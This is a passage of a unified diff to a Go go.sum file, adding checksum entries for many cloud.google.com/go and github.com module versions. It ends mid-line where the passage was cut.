+cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= +cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= +cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= +cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= +cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= +cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= +cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= +cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= +cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= +cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= +cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= +cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= +cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= +cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= +cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= +cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= +cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= +cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= +cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= +cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= +cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= +cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= +cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= +cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= +cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= +cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= +cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= +cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= +cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= +cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= +cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= +cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= +cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= +cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= +cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= +cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= +cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= +cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= +cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= +cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= +cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= +cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= +cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= +cloud.google.com/go/servicedirectory v1.9.0/go.mod h1:29je5JjiygNYlmsGz8k6o+OZ8vd4f//bQLtvzkPPT/s= +cloud.google.com/go/servicemanagement v1.4.0/go.mod h1:d8t8MDbezI7Z2R1O/wu8oTggo3BI2GKYbdG4y/SJTco= +cloud.google.com/go/servicemanagement v1.5.0/go.mod h1:XGaCRe57kfqu4+lRxaFEAuqmjzF0r+gWHjWqKqBvKFo= +cloud.google.com/go/servicemanagement v1.6.0/go.mod h1:aWns7EeeCOtGEX4OvZUWCCJONRZeFKiptqKf1D0l/Jc= +cloud.google.com/go/servicemanagement v1.8.0/go.mod h1:MSS2TDlIEQD/fzsSGfCdJItQveu9NXnUniTrq/L8LK4= +cloud.google.com/go/serviceusage v1.3.0/go.mod h1:Hya1cozXM4SeSKTAgGXgj97GlqUvF5JaoXacR1JTP/E= +cloud.google.com/go/serviceusage v1.4.0/go.mod h1:SB4yxXSaYVuUBYUml6qklyONXNLt83U0Rb+CXyhjEeU= +cloud.google.com/go/serviceusage v1.5.0/go.mod h1:w8U1JvqUqwJNPEOTQjrMHkw3IaIFLoLsPLvsE3xueec= +cloud.google.com/go/serviceusage v1.6.0/go.mod h1:R5wwQcbOWsyuOfbP9tGdAnCAc6B9DRwPG1xtWMDeuPA= +cloud.google.com/go/shell v1.3.0/go.mod h1:VZ9HmRjZBsjLGXusm7K5Q5lzzByZmJHf1d0IWHEN5X4= +cloud.google.com/go/shell v1.4.0/go.mod h1:HDxPzZf3GkDdhExzD/gs8Grqk+dmYcEjGShZgYa9URw= +cloud.google.com/go/shell v1.6.0/go.mod h1:oHO8QACS90luWgxP3N9iZVuEiSF84zNyLytb+qE2f9A= +cloud.google.com/go/spanner v1.41.0/go.mod h1:MLYDBJR/dY4Wt7ZaMIQ7rXOTLjYrmxLE/5ve9vFfWos= +cloud.google.com/go/spanner v1.44.0/go.mod h1:G8XIgYdOK+Fbcpbs7p2fiprDw4CaZX63whnSMLVBxjk= +cloud.google.com/go/spanner v1.45.0/go.mod h1:FIws5LowYz8YAE1J8fOS7DJup8ff7xJeetWEo5REA2M= +cloud.google.com/go/speech v1.6.0/go.mod h1:79tcr4FHCimOp56lwC01xnt/WPJZc4v3gzyT7FoBkCM= +cloud.google.com/go/speech v1.7.0/go.mod h1:KptqL+BAQIhMsj1kOP2la5DSEEerPDuOP/2mmkhHhZQ= +cloud.google.com/go/speech v1.8.0/go.mod h1:9bYIl1/tjsAnMgKGHKmBZzXKEkGgtU+MpdDPTE9f7y0= +cloud.google.com/go/speech v1.9.0/go.mod h1:xQ0jTcmnRFFM2RfX/U+rk6FQNUF6DQlydUSyoooSpco= +cloud.google.com/go/speech v1.14.1/go.mod h1:gEosVRPJ9waG7zqqnsHpYTOoAS4KouMRLDFMekpJ0J0= +cloud.google.com/go/speech v1.15.0/go.mod h1:y6oH7GhqCaZANH7+Oe0BhgIogsNInLlz542tg3VqeYI= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= +cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= +cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= +cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= +cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= +cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= +cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= +cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= +cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= +cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= +cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= +cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= +cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= +cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= +cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= +cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= +cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= +cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= +cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= +cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= +cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= +cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= +cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= +cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= +cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= +cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= +cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= +cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= +cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= +cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= +cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= +cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= +cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= +cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= +cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= +cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= +cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= +cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= +cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= +cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= +cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= +cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= +cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= +cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= +cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= +cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= +cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= +cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= +cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= +cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= +cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= +git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -51,19 +613,38 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= +github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= +github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= +github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= +github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -73,8 +654,22 @@ github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod 